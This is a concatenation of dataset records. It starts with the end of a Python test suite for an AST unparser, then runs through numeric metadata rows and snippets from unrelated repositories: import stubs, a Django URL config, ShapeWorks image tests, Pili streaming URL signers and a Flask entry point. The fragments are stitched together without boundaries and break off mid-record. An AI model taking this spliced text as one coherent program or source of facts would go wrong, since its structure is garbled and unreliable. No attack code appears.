desired = "'doc string'\n" \ "from foo_mod import foo2 as foo, bar as bar2\n" \ "c, d = foo(a, b=3)\n" \ "k, l = foo2(a, b)\n" \ "e = bar(c)\n" \ "f = baz(d)\n" \ "d = zi(e)\n" self._check_round_trip(code, desired) def test_inline_string(self): code = "from foo_mod import foo2 as foo, bar as bar2\n" \ "c, d = foo(a, b=3)\n" \ "'inline string'\n" \ "e = bar(c)\n" \ self._check_round_trip(code) def test_bitand(self): code = "from numpy import arange\n"\ "x = arange(0.0, 10.0, 1.0)\n"\ "cond = (x > 4) & (x < 8)" self._check_round_trip(code) def test_bitor(self): code = "from numpy import arange\n"\ "x = arange(0.0, 10.0, 1.0)\n"\ "cond = (x > 4) | (x < 8)" self._check_round_trip(code) def test_augassign(self): # += check code = "c = 1\nc += 1" self._check_round_trip(code) # -= check code = "c = 1\nc -= 1" self._check_round_trip(code) # *= check code = "c = 1\nc *= 3" self._check_round_trip(code) # /= check code = "c = 2\nc /= 2" self._check_round_trip(code) # &= check code = "c = 1\nc &= 0" self._check_round_trip(code) # |= check code = "c = 0\nc |= 1" self._check_round_trip(code) def test_with(self): code = 'from __future__ import with_statement\n'\ 'with m: \n'\ ' vp = 1.0' self._check_round_trip(code) def test_list_comp1(self): code = '[x for x in [1, 2, 3] if x != 2]' self._check_round_trip(code) def test_list_comp2(self): code = "[(x, y) for x in [1, 2, 3] if x != 2 for y in ['a', 'b']]" self._check_round_trip(code) def test_list_comp3(self): code = "[(x, y) for x in [1, 2, 3] if x != 2 if x > 0 for y in ['a', 'b']]" self._check_round_trip(code) def test_gen_expr1(self): code = '(x for x in [1, 2, 3] if x != 2)' self._check_round_trip(code) def test_gen_expr2(self): code = "((x, y) for x in [1, 2, 3] if x != 2 for y in ['a', 'b'])" self._check_round_trip(code) def test_gen_expr3(self): code = "((x, y) for x in [1, 2, 3] if x != 2 if x > 0 for y in ['a', 'b'])" self._check_round_trip(code) def test_gen_expr4(self): code = 'all((x for x in [1, 2, 3] if x != 2))' self._check_round_trip(code) ### private utility methods ############################################# def _check_round_trip(self, code, desired=None): """ Check the roundtripped code against a desired result. if desired=None (default), then check it against the input code. """ if desired is None: desired = code ast = compiler.parse(code,'exec') actual = unparse(ast) self.assertEqual(desired.strip(), actual.strip()) def _check_round_trip_func_no_indent(self, code, desired=None): """ Check the roundtripped code against a desired result. Function definitions will be on a single line. if desired=None (default), then check it against the input code. """ if desired is None: desired = code ast = compiler.parse(code,'exec') actual = unparse(ast, True) self.assertEqual(desired.strip(), actual.strip()) if __name__ == '__main__': unittest.main()
29.485222
83
0.522847
1,583
11,971
3.677195
0.11813
0.130562
0.182786
0.228827
0.775296
0.75743
0.716887
0.676516
0.589074
0.539426
0
0.019717
0.322112
11,971
405
84
29.558025
0.697597
0.054298
0
0.430556
0
0.013889
0.184094
0
0
0
0
0
0.006944
1
0.253472
false
0.024306
0.038194
0
0.295139
0.020833
0
0
0
null
0
1
1
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
5
8c480e1426864185390fbe1b22fdb1e847f2efc3
214
py
Python
assignments/__init__.py
GingerNinja2962/wtc-lms-GUI
e65f5aa64919649690059da37f7bd608b823ca6a
[ "Apache-2.0" ]
2
2021-04-08T11:08:12.000Z
2021-05-20T11:02:26.000Z
assignments/__init__.py
GingerNinja2962/wtc-lms-GUI
e65f5aa64919649690059da37f7bd608b823ca6a
[ "Apache-2.0" ]
null
null
null
assignments/__init__.py
GingerNinja2962/wtc-lms-GUI
e65f5aa64919649690059da37f7bd608b823ca6a
[ "Apache-2.0" ]
1
2021-04-08T11:08:15.000Z
2021-04-08T11:08:15.000Z
print("\nModule Imported assignments") from assignments.assignmentsMenu import assignmentsMenuClass print(" - Imported class assignmentsMenuClass") import assignments.layout import assignments.assignmentHandeler
26.75
60
0.85514
19
214
9.631579
0.578947
0.185792
0
0
0
0
0
0
0
0
0
0
0.084112
214
7
61
30.571429
0.933673
0
0
0
0
0
0.313084
0
0
0
0
0
0
1
0
true
0
1
0
1
0.4
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
8c5c27dad40de632b27faeb1940b9710b645b001
489
py
Python
gbvision/utils/net/__init__.py
computerboy0555/GBVision
79fc9ba09865bfd9c7a39abaa3980c46ce090b07
[ "Apache-2.0" ]
16
2019-04-15T18:52:58.000Z
2022-02-13T23:00:46.000Z
gbvision/utils/net/__init__.py
computerboy0555/GBVision
79fc9ba09865bfd9c7a39abaa3980c46ce090b07
[ "Apache-2.0" ]
2
2019-04-15T19:00:05.000Z
2019-04-19T15:47:21.000Z
gbvision/utils/net/__init__.py
computerboy0555/GBVision
79fc9ba09865bfd9c7a39abaa3980c46ce090b07
[ "Apache-2.0" ]
3
2019-05-03T13:48:25.000Z
2019-09-22T14:03:49.000Z
from .async_stream_receiver import AsyncStreamReceiver from .async_tcp_stream_receiver import AsyncTCPStreamReceiver from .async_udp_stream_receiver import AsyncUDPStreamReceiver from .stream_broadcaster import StreamBroadcaster from .stream_receiver import StreamReceiver from .tcp_stream_broadcaster import TCPStreamBroadcaster from .tcp_stream_receiver import TCPStreamReceiver from .udp_stream_broadcaster import UDPStreamBroadcaster from .udp_stream_receiver import UDPStreamReceiver
48.9
61
0.907975
54
489
7.888889
0.314815
0.197183
0.28169
0.107981
0
0
0
0
0
0
0
0
0.07362
489
9
62
54.333333
0.940397
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
4fd4a24edf2719873a31dc10c600ed7477bb7783
137
py
Python
shellish/command/contrib/__init__.py
mayfield/shellish
df0f0e4612d138c34d8cb99b66ab5b8e47f1414a
[ "MIT" ]
4
2015-10-06T23:50:20.000Z
2021-06-11T19:20:43.000Z
shellish/command/contrib/__init__.py
mayfield/shellish
df0f0e4612d138c34d8cb99b66ab5b8e47f1414a
[ "MIT" ]
null
null
null
shellish/command/contrib/__init__.py
mayfield/shellish
df0f0e4612d138c34d8cb99b66ab5b8e47f1414a
[ "MIT" ]
null
null
null
from .syscomplete import * from .interactive import * from .ini import * from .tree import * from .commands import * from .help import *
19.571429
26
0.737226
18
137
5.611111
0.444444
0.49505
0
0
0
0
0
0
0
0
0
0
0.175182
137
6
27
22.833333
0.893805
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
4fff131d33fa2452e299013fc36f26190fb81018
270
py
Python
fobi_custom/plugins/form_elements/fields/observational/gender_observational/widgets.py
jeancochrane/just-spaces
f7e8f710c3ab2db5f8a87a533547c5176a2d1e83
[ "MIT" ]
6
2019-04-09T06:52:31.000Z
2021-08-31T04:31:59.000Z
fobi_custom/plugins/form_elements/fields/observational/gender_observational/widgets.py
jeancochrane/just-spaces
f7e8f710c3ab2db5f8a87a533547c5176a2d1e83
[ "MIT" ]
176
2019-01-11T21:05:50.000Z
2021-03-16T17:04:13.000Z
fobi_custom/plugins/form_elements/fields/observational/gender_observational/widgets.py
jeancochrane/just-spaces
f7e8f710c3ab2db5f8a87a533547c5176a2d1e83
[ "MIT" ]
1
2019-05-10T15:30:25.000Z
2019-05-10T15:30:25.000Z
from fobi.base import FormElementPluginWidget class BaseGenderObservationalPluginWidget(FormElementPluginWidget): """BaseGenderObservationalPluginWidget.""" # Same as ``uid`` value of the ``GenderObservationalPlugin``. plugin_uid = "gender_observational"
30
67
0.788889
20
270
10.55
0.85
0
0
0
0
0
0
0
0
0
0
0
0.122222
270
8
68
33.75
0.890295
0.359259
0
0
0
0
0.11976
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
8b1878ef006743faf0cfff2ed5f6f3b8c5eadc83
101
py
Python
setup.py
mikee385/fbsrankings
2b50e26a302b53c21cd8f5c965943d6fbf0680a1
[ "MIT" ]
null
null
null
setup.py
mikee385/fbsrankings
2b50e26a302b53c21cd8f5c965943d6fbf0680a1
[ "MIT" ]
null
null
null
setup.py
mikee385/fbsrankings
2b50e26a302b53c21cd8f5c965943d6fbf0680a1
[ "MIT" ]
null
null
null
import pkg_resources import setuptools pkg_resources.require("setuptools>=39.2") setuptools.setup()
16.833333
41
0.821782
13
101
6.230769
0.615385
0.296296
0
0
0
0
0
0
0
0
0
0.031915
0.069307
101
5
42
20.2
0.829787
0
0
0
0
0
0.158416
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
8b292f82b232cd4bbf64b40cfbb5344c31f575c4
74
py
Python
binfmtspec/__init__.py
leopf/binfmtspec
6c7e932e37601c64eab34113b756aea8898aa8bb
[ "MIT" ]
null
null
null
binfmtspec/__init__.py
leopf/binfmtspec
6c7e932e37601c64eab34113b756aea8898aa8bb
[ "MIT" ]
null
null
null
binfmtspec/__init__.py
leopf/binfmtspec
6c7e932e37601c64eab34113b756aea8898aa8bb
[ "MIT" ]
null
null
null
from binfmtspec.decorators import * from binfmtspec.spec import BinarySpec
37
38
0.864865
9
74
7.111111
0.666667
0.4375
0
0
0
0
0
0
0
0
0
0
0.094595
74
2
38
37
0.955224
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
8b3593573727cf48e9b2b482e87b03767e6224ef
66
py
Python
test/tests/urlparse_test.py
aisk/pyston
ac69cfef0621dbc8901175e84fa2b5cb5781a646
[ "BSD-2-Clause", "Apache-2.0" ]
1
2020-02-06T14:28:45.000Z
2020-02-06T14:28:45.000Z
test/tests/urlparse_test.py
aisk/pyston
ac69cfef0621dbc8901175e84fa2b5cb5781a646
[ "BSD-2-Clause", "Apache-2.0" ]
null
null
null
test/tests/urlparse_test.py
aisk/pyston
ac69cfef0621dbc8901175e84fa2b5cb5781a646
[ "BSD-2-Clause", "Apache-2.0" ]
1
2020-02-06T14:29:00.000Z
2020-02-06T14:29:00.000Z
import urlparse print urlparse.urlparse("http://www.dropbox.com")
22
49
0.787879
9
66
5.777778
0.777778
0
0
0
0
0
0
0
0
0
0
0
0.060606
66
2
50
33
0.83871
0
0
0
0
0
0.333333
0
0
0
0
0
0
0
null
null
0
0.5
null
null
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
1
0
5
8c89f509a5fd9b3a3f6bb7adac2b75ded1862338
94
py
Python
app.py
andrewwgordon/ddd-northwind-api
33ace8456233acd1a39dabe3c53e0334fab26d66
[ "MIT" ]
null
null
null
app.py
andrewwgordon/ddd-northwind-api
33ace8456233acd1a39dabe3c53e0334fab26d66
[ "MIT" ]
6
2021-09-11T23:10:04.000Z
2021-09-12T14:35:18.000Z
app.py
andrewwgordon/ddd-northwind-api
33ace8456233acd1a39dabe3c53e0334fab26d66
[ "MIT" ]
null
null
null
from northwind.presenter.flask import flask_app if __name__=='__main__': flask_app.run()
18.8
47
0.765957
13
94
4.769231
0.769231
0.258065
0
0
0
0
0
0
0
0
0
0
0.12766
94
4
48
23.5
0.756098
0
0
0
0
0
0.085106
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
8ca1da195d6a58c6e08bf7374aaa09362cd7ebf2
55
py
Python
dmdm/__init__.py
nim65s/dmdm
fac4eaf99547e09ddd34d0991a51424c09df28d3
[ "BSD-2-Clause" ]
null
null
null
dmdm/__init__.py
nim65s/dmdm
fac4eaf99547e09ddd34d0991a51424c09df28d3
[ "BSD-2-Clause" ]
16
2018-04-22T22:25:54.000Z
2022-03-14T19:45:32.000Z
dmdm/__init__.py
nim65s/dmdm
fac4eaf99547e09ddd34d0991a51424c09df28d3
[ "BSD-2-Clause" ]
null
null
null
"""Main module.""" from .mail import send_mail # noqa
18.333333
35
0.672727
8
55
4.5
0.875
0
0
0
0
0
0
0
0
0
0
0
0.163636
55
2
36
27.5
0.782609
0.327273
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
8cb741d2656109ebf8bcb720c9bbf6af09053a2d
369
py
Python
api/kiveapi/errors.py
cfe-lab/Kive
e46b9eb40f085d579c12f47b6b5696d5ee93a9d3
[ "BSD-3-Clause" ]
2
2016-10-02T18:24:53.000Z
2019-01-19T09:37:56.000Z
api/kiveapi/errors.py
dmacmillan/Kive
76bc8f289f66fb133f78cb6d5689568b7d015915
[ "BSD-3-Clause" ]
1,190
2015-07-10T22:57:23.000Z
2022-03-30T05:10:14.000Z
api/kiveapi/errors.py
dmacmillan/Kive
76bc8f289f66fb133f78cb6d5689568b7d015915
[ "BSD-3-Clause" ]
2
2019-07-16T00:25:25.000Z
2019-11-25T16:32:58.000Z
class KiveAuthException(Exception): pass class KiveClientException(Exception): pass class KiveServerException(Exception): pass class KiveMalformedDataException(Exception): pass class KiveRunFailedException(Exception): pass def is_client_error(code): return 400 <= code <= 499 def is_server_error(code): return 500 <= code <= 599
13.666667
44
0.728997
38
369
6.973684
0.5
0.245283
0.271698
0
0
0
0
0
0
0
0
0.040268
0.192412
369
26
45
14.192308
0.848993
0
0
0.357143
0
0
0
0
0
0
0
0
0
1
0.142857
false
0.357143
0
0.142857
0.642857
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
1
1
0
0
5
8cc38edf958e3968fd1a31dfb07ee7ec56bce2bc
75
py
Python
examples/hacker_news/hacker_news/__init__.py
asamoal/dagster
08fad28e4b608608ce090ce2e8a52c2cf9dd1b64
[ "Apache-2.0" ]
null
null
null
examples/hacker_news/hacker_news/__init__.py
asamoal/dagster
08fad28e4b608608ce090ce2e8a52c2cf9dd1b64
[ "Apache-2.0" ]
null
null
null
examples/hacker_news/hacker_news/__init__.py
asamoal/dagster
08fad28e4b608608ce090ce2e8a52c2cf9dd1b64
[ "Apache-2.0" ]
null
null
null
from .repo import hacker_news_local, hacker_news_prod, hacker_news_staging
37.5
74
0.88
12
75
5
0.666667
0.5
0
0
0
0
0
0
0
0
0
0
0.08
75
1
75
75
0.869565
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
5068eaee29bb967f08e3861213ef404c89e9582e
487
py
Python
Mundo 3/desafios/desafio108 - Formatando moedas.py
marioarl/python
0bd677cdbec87e9603866c09cb8009fef295b89b
[ "MIT" ]
1
2021-11-21T21:04:04.000Z
2021-11-21T21:04:04.000Z
Mundo 3/desafios/desafio108 - Formatando moedas.py
marioarl/python
0bd677cdbec87e9603866c09cb8009fef295b89b
[ "MIT" ]
null
null
null
Mundo 3/desafios/desafio108 - Formatando moedas.py
marioarl/python
0bd677cdbec87e9603866c09cb8009fef295b89b
[ "MIT" ]
null
null
null
#Adapte o codigo do desafio107, criando uma funcao adicional chamada moeda() que consiga mostrar os # valores como um valor monetario formatado from ex108 import moeda p = float(input('Digite o preço: R$ ')) print(f'A metade de {moeda.moeda(p)} é {moeda.moeda(moeda.metade(p))}') print(f'O dobro de {moeda.moeda(p)} é {moeda.moeda(moeda.dobro(p))}') print(f'Aumentando 10%, temos {moeda.moeda(moeda.aumentar(p, 10))}') print(f'Reduzindo 13%, temos {moeda.moeda(moeda.diminuir(p, 13))}')
54.111111
99
0.726899
82
487
4.317073
0.536585
0.282486
0.169492
0.073446
0.163842
0.163842
0.163842
0.163842
0
0
0
0.032407
0.112936
487
9
100
54.111111
0.787037
0.287474
0
0
0
0.333333
0.734104
0.343931
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.666667
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
508843c743f56037c40fcda455c014d7eb99ceaa
105
py
Python
backend/backend/routers/__init__.py
ProjetoALES/ales-website
9dc5b460f5e780a1221d0ed5071043f088082395
[ "MIT" ]
null
null
null
backend/backend/routers/__init__.py
ProjetoALES/ales-website
9dc5b460f5e780a1221d0ed5071043f088082395
[ "MIT" ]
19
2020-02-25T05:29:39.000Z
2021-09-22T18:38:26.000Z
backend/backend/routers/__init__.py
ProjetoALES/ales-website
9dc5b460f5e780a1221d0ed5071043f088082395
[ "MIT" ]
null
null
null
from .nested import SingleInstanceNestedRouter from .single_instance import SingleInstanceRetrieveRouter
35
57
0.904762
9
105
10.444444
0.777778
0
0
0
0
0
0
0
0
0
0
0
0.07619
105
2
58
52.5
0.969072
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
508ba15e36bb2aa09627929e66db2321c2e3d60b
765
py
Python
Testing/PythonTests/add.py
danlamanna/ShapeWorks
58ffac86cbea1e7f0b4ede9ff6ded167bd5dfc14
[ "MIT" ]
null
null
null
Testing/PythonTests/add.py
danlamanna/ShapeWorks
58ffac86cbea1e7f0b4ede9ff6ded167bd5dfc14
[ "MIT" ]
null
null
null
Testing/PythonTests/add.py
danlamanna/ShapeWorks
58ffac86cbea1e7f0b4ede9ff6ded167bd5dfc14
[ "MIT" ]
null
null
null
import os import sys from shapeworks import * def addTest1(): img = Image(os.environ["DATA"] + "/la-bin.nrrd") img += img compareImg = Image(os.environ["DATA"] + "/la-bin-doubled.nrrd") return img.compare(compareImg) val = addTest1() if val is False: sys.exit(1) def addTest2(): img = Image(os.environ["DATA"] + "/la-bin.nrrd") img += 3.14 compareImg = Image(os.environ["DATA"] + "/la-bin-plus-pi.nrrd") return img.compare(compareImg) val = addTest2() if val is False: sys.exit(1) def addTest3(): img = Image(os.environ["DATA"] + "/la-bin.nrrd") img += img img += 3.14 compareImg = Image(os.environ["DATA"] + "/la-bin-doubled-plus-pi.nrrd") return img.compare(compareImg) val = addTest3() if val is False: sys.exit(1)
17.386364
73
0.643137
116
765
4.241379
0.258621
0.085366
0.170732
0.219512
0.821138
0.821138
0.754065
0.713415
0.365854
0.304878
0
0.023734
0.173856
765
43
74
17.790698
0.754747
0
0
0.571429
0
0
0.16732
0.036601
0
0
0
0
0
1
0.107143
false
0
0.107143
0
0.321429
0
0
0
0
null
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
50a2d379de61eca73db66b1c24e3c14e7e0878c0
230
py
Python
fperms/exceptions.py
Formulka/django-fperms
88b8fa3dd87075a56d8bfeb2b9993c578c22694e
[ "MIT" ]
3
2019-03-29T09:50:45.000Z
2021-05-01T21:11:33.000Z
fperms/exceptions.py
Formulka/django-perms
88b8fa3dd87075a56d8bfeb2b9993c578c22694e
[ "MIT" ]
2
2018-04-12T00:54:05.000Z
2018-04-12T16:32:42.000Z
fperms/exceptions.py
Formulka/django-perms
88b8fa3dd87075a56d8bfeb2b9993c578c22694e
[ "MIT" ]
1
2018-07-13T14:42:07.000Z
2018-07-13T14:42:07.000Z
class PermError(Exception): pass class ObjectNotPersisted(PermError): pass class IncorrectObject(PermError): pass class IncorrectContentType(PermError): pass class ImproperlyConfigured(PermError): pass
12.105263
38
0.747826
20
230
8.6
0.4
0.209302
0.313953
0
0
0
0
0
0
0
0
0
0.186957
230
18
39
12.777778
0.919786
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
50a5955ec0011a68883f4acb1bcb1e2ab295bffe
234
py
Python
Configuration/Eras/python/Era_Phase2C11_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
852
2015-01-11T21:03:51.000Z
2022-03-25T21:14:00.000Z
Configuration/Eras/python/Era_Phase2C11_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
30,371
2015-01-02T00:14:40.000Z
2022-03-31T23:26:05.000Z
Configuration/Eras/python/Era_Phase2C11_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
3,240
2015-01-02T05:53:18.000Z
2022-03-31T17:24:21.000Z
import FWCore.ParameterSet.Config as cms from Configuration.Eras.Era_Phase2C9_cff import Phase2C9 from Configuration.Eras.Modifier_phase2_hgcalV12_cff import phase2_hgcalV12 Phase2C11 = cms.ModifierChain(Phase2C9, phase2_hgcalV12)
29.25
75
0.871795
30
234
6.566667
0.566667
0.213198
0.213198
0
0
0
0
0
0
0
0
0.083721
0.081197
234
7
76
33.428571
0.832558
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.75
0
0.75
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
50c843547f4756c438a4fff3dcfe2e1b904e9cd0
171
py
Python
3_decorator/dark_roast.py
hypersport/Head-First-Design-Patterns-Python
0c8b831ae89ebbbef8b203b96508deb7e3063590
[ "MIT" ]
null
null
null
3_decorator/dark_roast.py
hypersport/Head-First-Design-Patterns-Python
0c8b831ae89ebbbef8b203b96508deb7e3063590
[ "MIT" ]
null
null
null
3_decorator/dark_roast.py
hypersport/Head-First-Design-Patterns-Python
0c8b831ae89ebbbef8b203b96508deb7e3063590
[ "MIT" ]
null
null
null
from beverage import Beverage class DarkRoast(Beverage): def __init__(self): self.description = 'Dark Roast Coffee' def cost(self): return 0.99
17.1
46
0.660819
21
171
5.190476
0.761905
0
0
0
0
0
0
0
0
0
0
0.023622
0.25731
171
9
47
19
0.834646
0
0
0
0
0
0.099415
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0.166667
0.833333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
50ce3038f1ba6798d8fbbc52917d939e5202cd6b
130
py
Python
rgbd_seg/models/utils/__init__.py
tomchol/ShapeConv
41ead20854daed43b59ef978665fa53f113cbb65
[ "Apache-2.0" ]
438
2019-12-17T12:31:15.000Z
2022-03-03T08:43:15.000Z
rgbd_seg/models/utils/__init__.py
tomchol/ShapeConv
41ead20854daed43b59ef978665fa53f113cbb65
[ "Apache-2.0" ]
25
2019-12-23T08:57:47.000Z
2021-12-05T02:50:10.000Z
rgbd_seg/models/utils/__init__.py
tomchol/ShapeConv
41ead20854daed43b59ef978665fa53f113cbb65
[ "Apache-2.0" ]
56
2019-12-17T12:06:08.000Z
2021-12-16T06:23:19.000Z
from .builder import build_module, build_torch_nn from .conv_module import ConvModule, ConvModules from .upsample import Upsample
32.5
49
0.853846
18
130
5.944444
0.611111
0
0
0
0
0
0
0
0
0
0
0
0.107692
130
3
50
43.333333
0.922414
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
50ec9466734e9ed404a289b0a41fe0e5741940f2
156
py
Python
notafiscal/urls.py
sergio-garcia/learning-django
4bcbfc6627eb654fada58392551497f6d246deeb
[ "MIT" ]
null
null
null
notafiscal/urls.py
sergio-garcia/learning-django
4bcbfc6627eb654fada58392551497f6d246deeb
[ "MIT" ]
null
null
null
notafiscal/urls.py
sergio-garcia/learning-django
4bcbfc6627eb654fada58392551497f6d246deeb
[ "MIT" ]
null
null
null
from django.conf.urls import patterns, url from . import views urlpatterns = patterns('', url(r'^import/$', views.import_nfse, name='import_nfse'), )
19.5
61
0.705128
21
156
5.142857
0.571429
0.203704
0
0
0
0
0
0
0
0
0
0
0.141026
156
7
62
22.285714
0.80597
0
0
0
0
0
0.128205
0
0
0
0
0
0
1
0
false
0
0.6
0
0.6
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
0f9f366bc072b7bb3982f2b4cd5d7efc11affa7a
257
py
Python
tests/test_error.py
andersem/elvia-python
cd71d13e1200845c93222dffed53baaa3a136bd4
[ "MIT" ]
null
null
null
tests/test_error.py
andersem/elvia-python
cd71d13e1200845c93222dffed53baaa3a136bd4
[ "MIT" ]
null
null
null
tests/test_error.py
andersem/elvia-python
cd71d13e1200845c93222dffed53baaa3a136bd4
[ "MIT" ]
null
null
null
from elvia import error class TestElviaException(object): def test_formatting(self): err = error.UnexpectedError( "Something happened", 500, {}, "error, man" ) assert str(err) == "Something happened 500 error, man"
25.7
62
0.63035
27
257
5.962963
0.703704
0.21118
0.248447
0.310559
0.347826
0
0
0
0
0
0
0.031746
0.264591
257
9
63
28.555556
0.820106
0
0
0
0
0
0.237354
0
0
0
0
0
0.142857
1
0.142857
false
0
0.142857
0
0.428571
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
0fb9403ef04ea457fe06862fc29fdcec25ffd115
38
py
Python
aisapi/__init__.py
sviete/AIS-api
80694a235b34b99e0ee608e3e3c175732e5be258
[ "MIT" ]
1
2018-01-03T11:26:01.000Z
2018-01-03T11:26:01.000Z
aisapi/__init__.py
sviete/AIS-api
80694a235b34b99e0ee608e3e3c175732e5be258
[ "MIT" ]
null
null
null
aisapi/__init__.py
sviete/AIS-api
80694a235b34b99e0ee608e3e3c175732e5be258
[ "MIT" ]
2
2018-08-14T04:30:20.000Z
2018-08-14T04:31:16.000Z
"""Initialize the ais-api package."""
19
37
0.684211
5
38
5.2
1
0
0
0
0
0
0
0
0
0
0
0
0.105263
38
1
38
38
0.764706
0.815789
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
0fc8ae40e0e327c0fd84173569ded7cb70ea834c
1,047
py
Python
pili/urls.py
songfei9315/pili-sdk-python
62026df4f906bd05dc6b5da28a6c7959f630a720
[ "MIT" ]
55
2015-07-01T08:42:04.000Z
2021-06-16T10:59:12.000Z
pili/urls.py
songfei9315/pili-sdk-python
62026df4f906bd05dc6b5da28a6c7959f630a720
[ "MIT" ]
20
2015-07-04T05:06:26.000Z
2020-05-08T06:48:49.000Z
pili/urls.py
pili-io/pili-python
b573c6abaae6a6715a63b206836b4798c566d021
[ "MIT" ]
44
2015-07-04T03:13:58.000Z
2020-11-29T00:28:35.000Z
from .utils import __hmac_sha1__ import time def rtmp_publish_url(domain, hub, stream_title, mac, expire): path = "/%s/%s?e=%d" % (hub, stream_title, time.time()+expire) token = "%s:%s" % (mac.__auth__.access_key, __hmac_sha1__(path, mac.__auth__.secret_key)) url = "rtmp://%s%s&token=%s" % (domain, path, token) return url def rtmp_publish_url_v1(domain, hub, stream_title, expire, publishKey): path = "/%s/%s?expire=%d" % (hub, stream_title, time.time()+expire) token = __hmac_sha1__(path, publishKey) url = "rtmp://%s%s&token=%s" % (domain, path, token) return url def rtmp_play_url(domain, hub, stream_title): return "rtmp://%s/%s/%s" % (domain, hub, stream_title) def hls_play_url(domain, hub, stream_title): return "http://%s/%s/%s.m3u8" % (domain, hub, stream_title) def hdl_play_url(domain, hub, stream_title): return "http://%s/%s/%s.flv" % (domain, hub, stream_title) def snapshot_play_url(domain, hub, stream_title): return "http://%s/%s/%s.jpg" % (domain, hub, stream_title)
31.727273
93
0.665712
162
1,047
3.993827
0.222222
0.040185
0.25966
0.309119
0.625966
0.483771
0.483771
0.432767
0.327666
0.327666
0
0.006772
0.153773
1,047
32
94
32.71875
0.723476
0
0
0.2
0
0
0.138491
0
0
0
0
0
0
1
0.3
false
0
0.1
0.2
0.7
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
ba0c70e39b28a2661d0b88093bd39772ea8e9af9
353
py
Python
codes/5/demo101.py
BigShuang/python-introductory-exercises
